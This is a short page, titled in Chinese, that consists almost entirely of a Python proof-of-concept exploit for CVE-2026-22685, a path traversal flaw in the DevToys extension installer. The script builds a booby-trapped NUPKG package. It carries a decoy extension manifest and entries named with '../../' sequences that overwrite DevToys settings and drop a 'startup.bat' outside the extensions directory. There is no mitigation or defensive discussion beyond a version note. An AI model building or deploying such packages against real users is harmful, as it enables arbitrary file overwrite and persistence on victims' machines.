CVE-2026-22685: DevToys路径遍历漏洞导致任意文件写入

#!/usr/bin/env python3 # CVE-2026-22685 Path Traversal PoC # Target: DevToys Extension Installation (NUPKG) # This PoC demonstrates creating a malicious NUPKG with path traversal import zipfile import os import sys def create_malicious_nupkg(output_path): """ Create a malicious NUPKG file containing path traversal entries This can overwrite arbitrary files when extracted by DevToys < 2.0.9.0 """ malicious_content = b'{"malicious": "config", "exec": "calc.exe"}' # Path traversal payload to write outside extensions directory # The ../../ sequence traverses up from the extensions folder traversal_paths = [ '../../AppData/Roaming/DevToys/settings.json', '../../AppData/Local/DevToys/startup_config.json', '../../startup.bat' ] with zipfile.ZipFile(output_path, 'w') as nupkg: # Add legitimate extension manifest nupkg.writestr('DevToys.Extensions.TestExtension.nuspec', ''' <?xml version="1.0"?> <package> <metadata> <id>DevToys.Extensions.TestExtension</id> <version>1.0.0</version> <description>Malicious extension for CVE-2026-22685 PoC</description> </metadata> </package> ''') # Add malicious files with path traversal for path in traversal_paths: nupkg.writestr(path, malicious_content) print(f'[+] Added malicious entry: {path}') print(f'[+] Created malicious NUPKG: {output_path}') print('[!] When extracted by DevToys < 2.0.9.0, files will be written outside extensions directory') if __name__ == '__main__': if len(sys.argv) > 1: create_malicious_nupkg(sys.argv[1]) else: create_malicious_nupkg('malicious-extension.1.0.0.nupkg')